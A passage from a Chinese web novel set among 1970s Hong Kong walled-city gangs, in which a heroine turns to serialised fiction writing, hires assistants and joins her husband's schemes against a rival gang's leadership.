红姐迟疑道:“这我倒不是很清楚,而且怎么才算是一技之长?” 讨好男人从男人兜里掏钱,应该不算吧? 温苒想了想,“剪发算一个。” 瞥到墙上卦的发型模特海报,由道:“化妆,造型也算。” “厨艺好、能说会道、裁缝、写作、算账……” 温苒灵感爆发,秃噜了一长串出来。 红姐左耳朵进右耳朵出,就是没几个进脑子。 她晕晕乎乎:“我,我改天问问。” 温苒点头:“那麻烦红姐了,对了,也帮我找两个识字的助理。” 红姐满口应下。 从理发馆出来,温苒思考着从红姐那里打听来得消息。 女生公寓里大约有七十多名住户,只有不足四分之一接受了帮派的工作安排,余者皆重操旧业。 七十多人,这压根也不够开设陆建华计划的新堂口啊? 不过成立新堂口确实好处不小。 首先一点,也是最重要的一点,新堂口总该得到帮派的支持吧? 尤其是资金支持! 下次来一定再问问红姐的意见。 但目前,温 苒也只能解决两个工作岗位,而余下的几十人她还没有头绪。 夜深,温苒躺在霍骁北怀里翻来覆去。 霍骁北:“……” 明天就去把陆建华揍一顿。 温苒睡不着干脆爬起来,“霍骁北,咱们帮派有发展新业务的计划吗?” 霍骁北陪她坐起来,“什么新业务?” 温苒凑到他面前,“我写剧本,你们拍电影。” “演员都是现成的,还可以成立经纪公司,南凤制片厂好不好听?要不还是叫五象城电影基地?” 霍骁北:“……” 有过一辈子从影经验,包裹里攒下的剧本确实很多,仔细挑一挑倒也能挑出适合的剧本。 但要说赚钱,按照香江目前的电影市场情况来看,很难。 一部电影假如一个月速成,上映一个月,票房百万算得上相当可观。 按照香江文化署的规定,票房中百分之六十属于文化发展基金,剩余百分之四十属于发行方和制片方。 也就是说忙活两个月,最后到手不到四十万,剧组如果二十人就是平均每人每月一万。 这收入放在城寨外面都足以让人羡慕到掉眼球。 可问题是,每月一万是最理想的目标,实际上可能连一半不到。 还要刨除成本,有一半的一半到手就算不错。 算下来收入照样不低。 但不要忘了,这是个二十人的剧组。 南风帮有数千成员,二十个人就是过家家。 不是说拍电影不合适,只是现在香江电影市场还未发展起来,再等几年时机才刚好。 温苒当然不是不清楚霍骁北的顾虑,她也有自己的想法。 “先积攒经验,主要目的是想让红姐她们练手,成立造型工作室。” “演员岗位也能解决一部分工作。” “万一哪部电影火了,不仅能赚到钱,演员也爆红,出去接戏拍广告,分成也是钱啊!” 霍骁北刚要开口,房间里响起连声的门铃。 霍骁北出去开门,门一开,就听陆建华急躁躁地大喊:“出事了!” 第107章 第107章七零香江作家8 陆建华开了个头,他后面几人你一言我一语地讲起来。 “收数华人死了!被割喉分尸,死得很惨!” “龙爷今天带了一帮人进北城,我们的人传信,那些人全是富商名流,其中还有新福会的跛脚胜!” “完蛋了!北哥你说龙爷不会要联合新福会吞并我们南凤帮吧?” 温苒裹着毛毯出来,刚好听到这句话,下意识回道:“那就反杀回去,把它们吞并啊!” 陆建华等人:“……” 不是,大嫂未免太凶残,也未免想得太美? 看他们表情温苒就能猜到他们在想什么。 她都有些怜爱霍骁北了,一个脑子带这么多笨蛋不容易。 客厅里临时展开一场会议。 平头伟忙前忙后泡茶上点心,其余人或坐或站或蹲,围着茶几听会。 霍骁北和温苒坐在沙发上,轮流发问。 温苒:“收数华是谁杀的?” 陆建华忙咽下点心,“不清楚,据说笑哥私下也在找,但对外说是处决。” 他身旁的年轻人语气不屑:“当然要说处决,在他三丙堂的地盘抢人头,笑哥的脸皮都被撕下来狠狠踩了!” 平头伟小声道:“大嫂给收数华算卦今晚必死,两帮上下传得清清楚楚,北龙帮岂能让大嫂的话做真?” 但结果偏偏就为真了? 还是在笑哥难得大方,特意留收数华一条命过夜,等明天再开处决大会的情况下! 众人狐疑的眼神落在温苒身上,这么巧的吗? 温苒只道:“我早就说过嘛。” 没有过多在这件事上纠缠,温苒问完关心的问题,就把场合交给霍骁北。 霍骁北:“继续派人打探北城的消息,盯紧跛脚胜。” 他只说了该怎么做,完全没提北龙帮在谋划什么,万一有什么阴谋呢? 陆建华:“北哥,不提前做点什么吗?” 霍骁北瞥了他面前空掉的三个的点心盘一样,直接开口送客:“不用,吃完就走。” 陆建华塞完最后一块绿豆糕,抹抹嘴追问:“万一北龙帮在盘算什么阴谋呢?” 温苒打了个哈欠,“能有什么阴谋,不就是开了个地下赌场?” 陆建华瞪圆了眼睛,“啥、啥?!” 周围一群人个个也瞪大了眼睛,“地下赌场?” 温苒间接地组织语言解释:“北龙帮应该新开了一家地下赌场,专门招待有钱人,龙爷出城拉客所以带回来一群富商。” 陆建华急急忙忙问:“那跛脚胜呢?他来做什么?是不是来抓你的?” 温苒顿了顿,“不太可能。不要忘了跛脚胜的福角堂靠赌场吃饭,北城办地下赌场是在跟他抢生意,他听到风头过来打探情况很正常。” 众人听完陷入沉默,同时眼神不由自主在温苒和霍骁北的两颗脑袋上挪动。 心里感叹,怪不得人家是两口子呢? 就这聪明劲儿,不是一家人不进一家门啊! 一群人晕晕乎乎离开,站在门口面面相觑。 平头伟一声高喝,拉回大家的意识。 “我悟了!” “大嫂的意思是让他们鹬蚌相争,我们坐山观虎斗,收渔翁之利!” 震惊的眼神汇聚到平头伟脑袋上,不是吧?北哥的跟班也算和他一家? 次日一早,霍骁北做好早饭温在锅里,然后出门办事。 先去北城找屋主退押金,把没吃完的方便面和水送给邻居; 再去北城入口附近的店面寻找寄给温苒的信件,确实有一封,来自《香江快报》; 接着去报亭,拿温苒订阅的报纸,昨天加上今天共两箱。 ——进北城后这一路,自然少不了北龙帮的人监视跟踪。 回南城前,霍骁北还见到了笑哥,他神色憔悴,但态度还算和善。 “北哥过来怎么不通知我一声,我好尽一尽地主之谊。” 霍骁北也不跟他客气,把装满报纸的纸箱塞给他。 笑哥懵逼地接过来,仰头望着比自己人头还高的纸箱,“那北哥,我请你吃早点?” 霍骁北扶了把上头的箱子,回道:“不用,我吃过。我老婆在你们北城的报亭订了一月的报纸,你每天派人送去南城就行。” 笑哥愣愣点头,“当然没问题!” 霍骁北转身走了。 笑哥摇摇晃晃追上去,歪着脑袋从纸箱后探出来看路,问道:“北哥,收数华要抓的靓女真是你老婆哦?” 霍骁北:“是。” 笑哥再次在心里把收数华骂个狗血淋头,不安分还不长眼,连死都不会挑个好时候…… “北哥,我要跟你道歉,如果我知道那是北嫂,收数华早该去见阎王爷的!” 他信誓旦旦保证。 霍骁北语气淡淡道:“我老婆的仇会自己报。” 再不济还有他。 笑哥想到了死状凄惨的收数华,笑着说道:“恐怕这次不行了,收数华已经被杀了,北哥你知不知?” 霍骁北瞥他一眼,“昨天我老婆就算到了,你不是也在场?” 笑哥:“……” 他嘴角抽了抽,是在场听得清清楚楚,可谁会当真啊? 哪怕收数华最后真的没活到今天,笑哥也不觉得温苒有那本事。 走到中街,霍骁北接过纸箱,随口说道:“你要当心了。” 语气平常的一句话,但笑哥莫名觉得意味深长。 早等在此处的平头伟颠颠儿上来接过箱子,“北哥,我刚通知红姐,她下午会带人去找大嫂。” 两人往旧街走,平头伟嘚啵嘚说道:“北哥,大嫂在城里出名了,大家都在传她算卦很准,还嫉恶如仇,夜入三丙堂取收数华狗头,是除恶扬善的女侠啊!” 霍骁北:“……” 听这个逻辑,‘算卦很准’还是手动的? 城里关于温苒的传言沸沸扬扬,各种标签传说啪啪往她身上贴,诸如‘大师’‘女侠’‘霍大夫的老婆’等不胜枚举。 由于收数华死得太惨太巧,南北城就温苒余下的两卦开启疯狂八卦模式。 私下里,甚至有好事者开盘赌局。 温苒对此一无所知,一觉好眠睡到过午才起。 吃个饱饭,她靠在霍骁北身上拆开信件。 《香江快报》录用了她的稿件,十分大方地许出千字二十块的稿费,并表示请她尽快前往报社签订契约。 这个价格属实相当丰厚,尤其温苒作为此前名不见经传的新作家。 要知道,这个时候的香江经济还未腾飞,底层百姓月收入也还未完全脱离两位数的计量上。 如梁阿太一家五口,儿子是壮劳力,她和儿媳四处帮工,每月的收入也才四百多港币。 刨 除二百蚊左右的房租,大头支出全在吃喝,仅能攒下极少的存款供孩子念书和急用。 而得益于香江报业的迅速发展,作家在这时绝对算得上高收入群体。 当然,作家群体内部的收入水平也实在两极分化。 高者如尹荃、赵汝琦等,千字稿酬已过百元大关,而低者勉强糊口罢了。 一般而言,新入行作家的稿费只有六七块。 考虑到《香江快报》的富有和慷慨,温苒的心理预期在千字十块左右。 哪想到对方这么有诚意,上来就给她翻了一倍。 这报纸能处! 但温苒不打算亲自出面去签契约。 作家么,谁还没几个马甲? 都是马甲了,不藏着掖着就不错了,她咋可能自曝? 让霍骁北去,或者等助理到位让助理帮她代签。 放下信件,温苒拿来这两天的报纸翻看。 豪门孙氏近日颇受各大报纸的欢迎。 长孙好赌虽是个乌龙,后续也有长房父子出面澄清,但一来这年代的信息传播不及时,只有极少数人了解到后续发展,二来也有部分看客认为澄清恰好就是掩饰。 加之孙老爷子和长房向各大报社施压,关于长房父子的新闻一夜间就消失得干干净净,所谓澄清只登一天报纸便无人问津,在某些人眼里更认为是掩饰了。 后续长房父子为把注意力转移出去,就拉二房做挡箭牌,曝光不少二房的破事。 墙倒众人推,其他几房见状不甘落后纷纷出手,势要把二房踢出家产竞争中不罢休。 在有心人的默许乃至鼓励下,报社记者们就二房孙荣美盯着不放。 期间也不忘深挖一下这位孙氏传媒经理的过往,首件值得说道的便是未婚先孕。 在对孙氏二房的围剿中,温苒锁在楼梯隔间的孙耀业终于被发现了。 据头条记者形容,孙耀业连夜被送到医院抢救,其形容枯槁神志不清,疑似抽大了。 随后几日的报纸全是围绕孙耀业大书特书,类似孙耀业花心滥情好赌成性性格暴躁抠门小气等的新闻层出不穷,还有知情者透露其那方面不行。 香江小报总是夸大其词毫无下限,但温苒不得不说,这次干得好! 孙耀业的名声现在臭得老鼠都嫌,孙荣美原先打得好主意,给儿子找个家世出众嫁妆丰厚的豪门千金,如今更是想都不要想! 别说豪门千金,就是普通人家的女儿也未必看得上孙耀业。 温苒却尤嫌不够。 原主被她们卖进火坑,二十多岁的年纪就香消玉殒。 而温宝龙、孙荣美和孙耀业踩在她的尸体上过好日子。 如今不过是没了个好名声,一家三口照样吃香喝辣住别墅开豪车有佣人伺候。 也该叫她们下半辈子都吃尽苦头偿罪才合适。 况且远的不提,孙荣美在五象城悬赏五千港币抓她这一桩仇,温苒就一定要报! 翻了会儿报纸,红姐就带人上门来。 两个都是二十出头的年轻姑娘,没比温苒大多少,一个文静一个活泼,言行紧张中带着怯懦。 面试流程很简单,询问学历技能爱好,抄写一段文章看看字写得怎样。 温苒面试助理时,红姐就和霍骁北交代她们的情况。 简短的面试结束后,温苒当场决定录用吴佳莹和周玉珍。 试用期一个月,试用期工资一百五十港币,转正后二百港币,加班和出差费用另算。 听到这个数字的薪酬,较为活泼的姑娘吴佳莹眼睛都亮了,握起拳头小声地欢呼出来。 红姐也很高兴,但不免担忧问道:“阿苒,只是剪剪报纸收发信件,薪水会不会太高了?” 吴佳莹不满地鼓起脸,哪有主动说要降薪的? 但想了想红姐的话,又心虚地低下头。 只是剪报纸收信而已,几岁的小孩儿都能做。 二百港币在五象城中属得上高薪,就是在城外,一个工人的月薪也才三四百港币,还要卖全天的力气才赚得到。 温苒心说可不只是剪剪报纸,是剪很多报纸。 她把香江大大小小的报纸都订了至少一份,光剪报纸就能让俩姑娘坐一天,还有收发信件,出城代她签约。 除文职工作外,未来工作室的洒扫整理也由这两人承担。 反正她懒得做的不适合做的,都是助理的工作内容。 二百港币不算什么,她写两万字的小说就赚回来了。 但温苒肯定不能直说,于是道:“当然,做得不好我会扣钱。” 吴佳莹连忙拽着周玉珍保证:“苒姐放心,我和阿珍肯定用心工作!绝对不会偷懒!” 顿了顿,她抬眼看着温苒小声补充:“也不敢偷懒的。” 温苒头上缓缓冒出问号。 为什么说看着她说不敢? 难道不该看霍骁北? 分明她貌美如花,吓人的是霍骁北才对吧? 看出她的疑惑,吴佳莹大着胆子回道:“苒姐是大师,铁口直断善恶生死,谁不服就取谁狗头!北龙帮的收数华作恶多端,苒姐说他三更死,他果然没活到第二天!” 说这话时,吴佳莹声音洪亮,眼神崇拜,那架势恨不得当场跪地拜师。 温苒:“……” 第108章 第108章七零香江作家9 总之,最终确定了助理人选。 工作室的位置也选定了,就在家对面,一间一室一厅格局的公寓。 里间是温苒的工作间,外间是助理的工作区域,外加待客。 房租自然不便宜,一个月要四百港币。 温苒扒拉了下家底儿,一口气租了一年,清空了钱包。 霍骁北出城拉回来一车家具,桌椅板凳沙发书柜,立时就填满了工作室。 卧室里也没放过,添了一张小书桌和小书柜。 整理好工作室,温苒拿出报社来信和一份稿件,让吴佳莹和周玉珍明天去报社代她签契约。 《香江快报》是周报,一期报纸有十六版,留给小说的版面有四分之一。 先前的来信讲到,报社每周需要六千字的稿件,但以防万一, 希望温苒能提前两周把稿件送到。 给这么丰厚的稿酬,要求多可以理解。 另外温苒是新作者,报社不太放心稿件质量,提前收到内容可以协商更改。 《真假千金》的整本大纲已经做完,有大纲参考,温苒一个上午能写完四千字,修修改改两天就能完成一期稿件。 一周里除了周末两天休息,其余时间都耗费在《王牌沙展》和新的小说构思上。 写到《王牌沙展》中某个电话作案的事件时,温苒停下来,她的工作室也需要一座电话。 就算她本人不出面,可总有需要和编辑沟通的情况。 可想想五象城连水电都还没通,电话线就更别想了。 写完这个案件,温苒开始构思下一部小说。 时下武侠小说风靡港岛和宝岛,前两年一部武侠小说改编而成的电影上映,其中饰演男主角的演员俊朗帅气,更让武侠小说受到追捧。 温苒打算随大流,也写一写武林中的风云人物、爱恨情仇。 温苒伏案奋笔疾书时,霍骁北在处理从北龙帮打探来得消息。 温苒的小说发表后大受欢迎,并收到第一个月的稿费时,霍骁北私下和笑哥合作,同他吃掉了北龙帮三丁堂的势力。 也因此,笑哥将霍骁北引为知己,向他透露了六叔的打算。 麻将馆的包厢里,笑哥挥退众人,同对面的霍骁北低声道:“北哥,你是个聪明人,混黑的不怕能打,就怕脑子好用。你们南凤帮的陆爷,我阿笑打从心眼里不服!” “但北哥你不一样,你来,我服!” 他说完哈哈笑了两声:“我这不是挑拨你和陆爷的关系,北哥你别多想。” 霍骁北瞥他一眼,没作声。 笑哥尴尬地摸摸鼻子,起来换到霍骁北旁边,“北哥,我真有件事跟你讲。” “我们北龙帮的六叔,性子最执拗刚烈,好面子还记仇。” “之前当着两帮众人的面,北嫂诅咒六叔的孙子克亲,六叔一直都没忘。” “龙爷新搞的地下赌场抢了福角堂的生意,跛脚胜很不快。” “福角堂在的新福会势力很大,龙爷不愿得罪他们。昨天开会六叔向龙叔献计,要拿你老婆去讨好呃……” 笑哥的话音戛然而止,整个人僵住,眼睛木愣愣地盯着一处,眼珠子都要瞪出来了。 “北、北哥你别冲动!” 笑哥吞了吞口水,天哎,正常人能单手把麻将捏碎吗? 霍骁北抬手拂掉碎麻将,“我老婆算到,你们龙爷寿数将近,就在月底。” 笑哥反应过来面露狂喜,竭力压着嗓音:“北哥,龙爷深居简出,除了大事很少出面。他身边的保镖是龙虎拳传人,当年在东南亚打黑拳,十个跆拳道黑带都打不赢他的!” 他激动地说完情报,看着霍骁北认真奉承:“不过如果是北哥,十个龙虎拳传人都打不赢北哥的!” 霍骁北对笑哥的恭维无动于衷,若无其事地捏起一枚骰子。 “北龙帮里,龙爷之下,笑哥以为谁有资格做上阿公的位置?” 如一盆冰水兜头浇下,笑哥满心的激动荡然无存。 他未来得及收起的笑意僵住,脸上的肌肉不自觉抽动,“自然、自然是几位长老,六、六叔……” 话到了嘴边,笑哥忽地顿住,震惊之色浮现在眼里。 他猛地扭头紧盯霍骁北的表情,“北哥,你不会让六叔做北龙帮阿公的吧?” 霍骁北丢掉骰子起身,微垂视线居高临下地看着笑哥。 笑哥仰起头,昏黄的灯光是那样刺眼,他费力睁大眼睛,霍骁北英俊的面孔上满是冷漠。 “我老婆算过,六叔今年生辰前必定高升。” “笑哥,你要当心了。” 低沉的嗓音宛若魔鬼来信,一字一字敲打着心脏。 胸口一阵砰砰急跳,笑哥出了一身冷汗,强颜欢笑道:“北、北哥,你别吓我啊!” 他这样的人进了监狱,只能等下辈子了…… 霍骁北点到为止,离开北城回家做饭。 晚饭吴佳莹和周玉珍不在这里吃,只有温苒和霍骁北两个人。 听说北龙帮六叔要抓她送给跛脚胜,温苒相当无语,都混黑了还送这送那的,直接打不就行了? 温苒问道:“龙爷答应了?” 霍骁北给她夹菜,“龙爷今年五十四,早几年就开始在阿泰置办产业。” 温苒明白了,这是年纪大想退了,退之前借北龙帮狠狠捞财,所以才弄了个地下赌场。 温苒笃定道:“他和收数华一样,想拉上跛脚胜贩毒?” 五象城里一切规矩都是帮派定的,帮派是地头蛇,阿公是土皇帝。 在这样的地方开地下赌场,对跛脚胜简直是降维打击。 光靠送一个‘温苒’,怎么可能让跛脚胜甘心? 就算跛脚胜愿意,他手底下那么多兄弟也会把他撕了,重新推人上位。 霍骁北点头,“用贩毒弥补福角堂赌场滑落的收入,北龙帮一举三得。” 哪三得? 一来平息了跛脚胜和福角堂的怒火; 二来,拓宽了北龙帮贩毒的市场; 三来,还能借此拿捏跛脚胜。 温苒感慨:“这个六叔不简单啊。” 她放下碗筷,兴致勃勃地追问:“你打算怎么做?” 霍骁北却只道:“先吃饭。” 温苒:“……” 她不高兴,有人就要付出代价! 温苒端起碗,筷子气势汹汹,专挑霍骁北要夹的菜抢。 磨了霍骁北半天,她才听到想听到的。 接下来几日,霍骁北就忙于‘斩龙行动’。 ——如此中二的名字,除了来自陆建华和平头伟不做他想。 一早,温苒开门离家,几步后来到对门工作室。 “早啊,阿莹阿珍。” “早安苒姐。” 周玉珍拿着一封信过来,“苒姐,《香江快报》的来信。” 温苒好奇道:“难道是要涨稿费?” 周玉珍默默摇头,“是催稿信,苒姐。” 温苒大吃一惊,“我们不是一直提前寄出稿件,而且每次都发一万字吗?难道信件丢失了?” 然而看完后温苒才知道原委。 《真假千金》太受欢迎,报社一直都想增加每周更新的字数。 恰好同版面的另一部小说接近尾声,报社掂量了一下目前的存稿,大手一挥已经给下周的报纸安排上了两万字的更新量。 温苒:“……” 多更可以,但稿费必须重新商量。 温苒拍了拍周玉珍的肩膀,郑重委托:“阿珍,带着催稿信去报社,至少把我的稿费提到千字二十五,办成后给你发一百块奖金!” 周玉珍唰地抬起头,两眼发出刺眼的光芒,“苒姐放心,阿珍帮你谈到千字三十!” 温苒笑着保证:“好!如果你谈到千字三十,就给你发两百块奖金!” 这下吴佳莹更坐不住了,两百块那可是两百块,一个月的工资,名牌裙子大牌口红还有看好的鳄鱼皮包包都在向她招手。 可这是阿珍的,她不能抢。 吴佳莹冷静下来,“苒姐,下一部小说一定要交给我去哦!” 温苒点点头,“那这样好了,正好下一部小说我写得差不多,你和阿珍明天一起出城。” 吴佳莹迫不及待点头。 温苒进工作间装好稿件带出来,“这部小说要送到《小说报》,我希望稿酬不要低于千字十五,阿莹你能谈到多少,每高五块钱我发你一百块奖金!” 《小说报》是香江有名的大报纸,顾名思义是专门刊登小说的报纸,也有书籍出版业务。 温苒每日放在手边的报纸中必有《小说报》,其刊登的小说类型五花八门包罗万象,有短篇有长篇连载,有悬疑也有武侠,但无一例外质量都很优秀。 次日一早,吴佳莹和周玉珍带着稿件和任务出发,信心满满。 两个年轻姑娘难得出城一趟,谈完正事四处逛一逛,替老板买些特产小吃,大包小包回到工作室。 温苒边吃红豆包边听二人讲。 先是周玉珍:“苒姐,报社主动提出要涨稿费到千字二十五,我提到了千字三十五,我的功劳只有十块钱。” 温苒发给她二百块奖金,“阿珍,干得很好!” 周玉珍捧着钱,笑得脸颊红红的,“都是苒姐教我的。” 终于到吴佳莹,她叭叭叭一通讲,最后道出重点:“苒姐,我将稿费谈到了千字五十!” 温苒呆了呆,“……啊?” 她记得她换了笔名,《小说报》这么不拘一格降人才么,竟然比财大气粗的《香江快报》还大方?! 吴佳莹憋了一整天可算能痛快地夸一夸自己了,“苒姐你不知道,我进报社见到的男编辑很难缠的,我费了好多口水他才同意把稿酬给到二十块。” 吴佳莹让奖金这根胡萝卜吊在眼前,哪能甘心只拿一百块? 她当时心一横,夺回稿件冲进悬疑版主编办公室,险些被保安拖走,愣是拽着门框不肯走,还扬言主编不看她就自杀。 温苒:“……” 温苒目光呆滞,这么剽悍的事迹,该不会等她出名以后被小报安在她身上吧? 怀着惴惴不安的心情,温苒给吴佳莹七百块奖金给得很不情愿。 她盯着吴佳莹咧到后耳的刺眼笑容,“阿莹,以后不许再用这种办法,不然没有奖金的。” 吴佳莹捧着钱如遭雷劈,“为咩不行?” 周玉珍欲言又止,“阿莹,你这样做,万一报社以后不收苒姐的小说呢?” 若非温苒的稿子很优秀,若非那位主编不计前嫌,《小说报》这样的大报纸要封杀一个小作家不过是一句话的事。 吴佳莹垂头丧气,“那,那报社会不会故意找茬退苒姐的稿子?” 温苒安慰她:“对方是大报社,签了契约不会言而无信。不过以防万一,过两天你亲自去报社送稿,跟主编道歉。” 温苒笑着看向她 手里的几张票子,“道歉不能没有诚意,请人家喝饮料吃点心总要的,这钱你自己出喽!” 吴佳莹不敢置信地‘啊’一声,懊恼地抱住头。 温苒却开心了。 这时香江的物价还不算太离谱,街边一碗云吞面才五分。 不过吴佳莹要请整个报社的员工吃茶点,少说也要破费二三百块。 六叔说要抓温苒送给跛脚胜,真不是说说而已。 南城的街上和冰室里逐渐多了很多北龙帮的面孔。 南凤帮不是吃素的,这些北龙帮的马仔无一人能摸到住楼附近。 北龙帮龙爷深居简出甚少露面,温苒也不遑多让,除极个别人能见到她之外,她这个南凤帮二把手的老婆甚是神秘。 不过今天是个例外。 喜提两份高收入,温苒拉上霍骁北去餐厅庆祝。 陆建华厚着脸皮带人一起蹭饭,点菜的时候还十分不客气,什么贵点什么。 “阿嫂啊,之前的建议你考虑得怎样?要不要带红姐她们成立新堂口,做什么生意我都想好了,就办报纸!” 温苒面无表情瞥他一眼,“长得一般,想得挺美。” 满桌人捧腹大笑,陆建华:“……” 陆建华急得找帮手,看了一圈发现连阿五都不帮他,只好冲霍骁北去:“北哥你好没用,都不知上进讨苒姐欢心!” 平头伟可看不得自己老大被欺负,当即反驳回去:“陆哥你孤寡一个,就不要教北哥怎么讨好老婆了,我怕苒姐会生气的!” 陆建华:“?!” 他忙去找阿五,“阿五你看阿伟比你有用多了!” 阿五埋头啃牛排,闻言头也不抬:“陆爷你也没北哥聪明。” 噗呲,陆建华心口仿佛中了一箭。 一桌人吵吵闹闹吃着晚饭,等餐馆里坐满了客人,平头伟清清嗓子‘大声’问道: “阿嫂,下个月中是北龙帮六叔的生辰,你之前断言六叔生辰前必定高升,是真的吗?” 此言一出,整个餐厅的耳朵都伸长了朝着这桌而来。 温苒故作高人风范,沉声回道:“我师从大陆隐士玄门,从不打诳语。” “龙爷活不过月底,接替他称为北龙帮下一任阿公的就是六叔!” “奈何六叔有一孙克亲,以至于波及到北龙帮,北龙帮近日必有一场大火,损失惨重!” 一顿饭还没结束,温苒这段话就传遍了整个五象城。 第109章 第109章七零香江作家10 有收数华意外惨死打底,迷信到骨子里的香江人很有一部分将温苒奉为道行高深的大师。 北龙帮里议论纷纷,诸多投机者闻风而动,聚集到六叔手下提前恭贺奉承表忠心。 六叔飘飘然几日,怀揣着野望回到现实。 无论如何,现在北龙帮的阿公是龙爷,而他阿六不过是个长老。 龙爷才是最大的,长老永远要低一头。 六叔诚惶诚恐地去向龙爷跪下‘认错’:“龙爷,我阿六一直认你做大哥,大哥就是要我去死我都听的。” 龙爷笑呵呵扶他起来,“阿六莫要胡说,我们兄弟过命的交情,不是外人讲几句就能离间的。” 六叔忙不迭点头,“龙爷说得对,都是南风帮的阴谋。那个贱女人坏我们好事,一定要抓到她送给跛脚胜!” 老兄弟两个对膝长谈,许久后六叔才离开。 保镖送六叔离开,回来关上门,转身就见沙发上龙爷抬头看过来,神色阴沉地吩咐:“阿泰,让人准备准备,旧棚年久失火,阿六去查账那天动手。” 这天下午,南城霍骁北的诊所来了几个北龙帮马仔看伤。 一天的营业结束,留平头伟看店,霍骁北上楼回家给媳妇儿做饭。 温苒看完他带回来的北龙帮动向,沉思片刻说道:“所以收数华偷粉倒卖是暗中受到了龙爷的帮助。” 不然笑哥都办不到的事,没道理收数华干了半年都没被发现。 也或许是被发现了,但对方在搜集证据,打算勒索收数华或揭穿收数华立功都有可能。 但温苒肯定是龙爷在帮收数华,因为龙爷要在旧棚杀六叔。 霍骁北将最后一道菜端上桌,“龙爷动手那天南凤帮行动。” 温苒嗯嗯点头,“”我也要去。 想想当时的场面就一定会很精彩。 龙爷让六叔当替死鬼,好掩盖他才是那个真正中饱私囊的罪魁祸首。 到时旧棚起火,账本烧毁,再事先安排好‘证据’,就可将一切顺理成章地推到六叔身上。 温苒尝了口菠萝咕咾肉,端起碗说道:“六叔不能比龙爷先死,不然我算的卦就不准了。” 霍骁北盛碗汤放到她手边,“我安排笑哥去救六叔。” 温苒抿了口汤,“我看六叔也不必做太长时间阿公,你们打算怎么对付北龙帮?” 对付北龙帮,或者说拿下北龙帮,可不是杀个龙爷杀个六叔就能办到的。 拿下北龙帮之后的管理更是个大难题。 看南凤帮就知道,没了非法收入却还要让马仔们养家吃饱饭,帮派的管理层愁得腰弯头秃脸色发苦。 霍骁北道:“现在不是时机。等龙爷中饱私囊的罪行曝光,北龙帮四个堂口不会想有新阿公压在头上。” 所以他是想分而化之,逐个击破。 温苒转了转眼睛,抬头笑眯眯看着他:“龙爷置办的养老本钱你打算怎么安排?” 一看就知道她在打坏主意,霍骁北故作不知:“龙爷半辈子的积蓄都是北龙帮的财产,我是外人,无法掺和一脚。” 温苒才不信,“我不管,我要十万港币,我们金玉堂账上总要有点东西撑面子。” 霍骁北:“……” 你们金玉堂的名字都是你临时才取的吧? 温苒静静盯着他,霍骁北不为所动。 温苒放下碗筷跑到对面,扯开他胳膊一屁股坐到他腿上,整个人塞到他怀里。 她相当大方:“十万港币,以后赚了钱分你一成。” 霍骁北垂眸看着她,“我不缺钱。” 温苒:“……” 家里钱都在我这里,你缺不缺钱我能不知道哦? 她解释:“分给帮派一成,当做帮派入股。” 霍骁北不答反问:“你在和我谈,还是和帮里谈?” 温苒分辨了下他口中两者,“有区别吗?你可以代表南凤帮,我呢代表金玉堂。” 温苒说完满眼期待地等他回答。 霍骁北捋了把她的小短毛,还是更怀念顺滑的长发,“帮里大额支出需要开会。” 温苒看了他一眼,又看了他一眼。 可惜对霍骁北了解如她,依旧没法在他早有准备的表情中读出想要的信息。 温苒抿着嘴角沉吟,她直觉有陷阱,但又想不到会是什么。 算了,先跳吧,大不了耍赖。 温苒抱着他手臂摇晃,“那我们两个谈。你有十万港币吗?你别忘了你的钱都是我的!” 霍骁北表情微动,声音泄出一丝笑意:“嗯,我人都是你的,钱也是,自然没有十万港币。” 温苒鼓腮,你笑得太猖狂了。 霍骁北止住笑,“杀掉龙爷后我会去南洋处理他的产业,你和我一起,能拿多少都归金玉堂。” 温苒杏眼唰一下睁大,亮得惊人,“那我委托你帮我,事成之后分你一成。我两本小说都在连载,抽不开身的。” 霍骁北眉梢微挑,“事成之后分我?先上车再买票?买票的钱还要进你的口袋?” 温苒:“……” 霍骁北垂下视线,握着她的手把玩,“我不是不可以答应。” 温苒冷哼,就知道不会这么简单。 霍骁北:“先把欠我的都还清。” 温苒:“……” 温苒:“?!!” 欠他的? 他人都是她的,她能有什么欠他的? 除非…… 温苒大惊失色,想也不想就跳下去,“我想起来我还有东西没写完,先不吃饭了。” 圈在她腰上的手臂捎用力,霍骁北 把她摁到腿上,抱起来就往卧室走,说道:“那正好,现在开始还债。” 温苒张牙舞爪地挣扎,“我还没吃饭,浪费可耻!” 霍骁北踢上房门,“不会浪费,明天请人吃。” 整个南凤帮找不到几个会做饭的,楼道里喊一声有剩饭,门都能被冲垮。 温苒:“……” 她不死心,试图再垂死挣扎一下,“那我先付你定金,之前的债我们好…唔…好商量。” 霍骁北堵上她的嘴,根本没有在听。 总之,第二天陆建华等人吃到了美味的剩饭,吴佳莹和周玉珍被告知老板在休息。 两人抱着报纸进工作室,收拾一番坐下来剪温苒看过的报纸。 吴佳莹问:“阿珍,明后天放假,我想出城逛街,你要不要一起?” 周玉珍点头,“要的,我想去书店买书。” 债多了不愁,前提是没人追债,温苒就从来没这么愁过。 新的一周,两个助理活力满满来上班,就见她们老板形容憔悴可怜,像被妖精吸干了精气,整个人恍恍惚惚地进了书房。 温苒趴在书桌上发呆,得想个办法把以前的债一笔勾销才行。 收数华偷粉倒卖的事情败露后,六叔借题发挥,把属于三丙堂笑哥地盘的旧棚抢到了自己手上。 旧棚是整个五象城的第一座鸭棚,价格最便宜,客流量最高,收入也最高。 有收数华做反面例子,接手的六叔发话要狠查旧棚的账本,把所有中饱私囊的蛀虫都找出来,绝不许有人包庇。 其言外之意,将刀锋指向收数华的顶头老大笑哥。 再有两日就是六叔定好要去旧棚查账的时间。 笑哥生怕六叔会针对自己,思来想去,趁夜来南城找霍骁北拿主意。 同霍骁北一起吃掉三丁堂让笑哥尝到好处,也知晓了霍骁北的能耐。 在他看来,陆建华只知道打打杀杀意气用事,蠢人一个根本不会动脑子,没哪里比得上霍骁北,南凤帮龙头也很该识相地让出来才对。 笑哥以为他是主动去找霍骁北,殊不知,一早霍骁北就向他暗示过收数华是借他的名义在偷粉。 所以一说到查账,笑哥第一想法就是会波及到自己。 深夜,平头伟急匆匆来敲门,霍骁北哄着温苒继续睡,轻手轻脚下床穿衣。 诊所里,笑哥焦急地来回转,见到霍骁北出现,一个夺步冲上前:“北哥救我啊!” 霍骁北不意外他会来找自己,也猜到是为什么。 他装作不解问道:“莫非是六叔要害你?” 笑哥险些崩出泪来,忙不迭点头:“六叔放话要查旧棚的账,他怀疑是我指使收数华偷粉,一定会拿我开刀给龙爷交代!” 平头伟加入进来一起演戏,“啊?笑哥你不是龙爷心腹,龙爷怎会不帮你?” 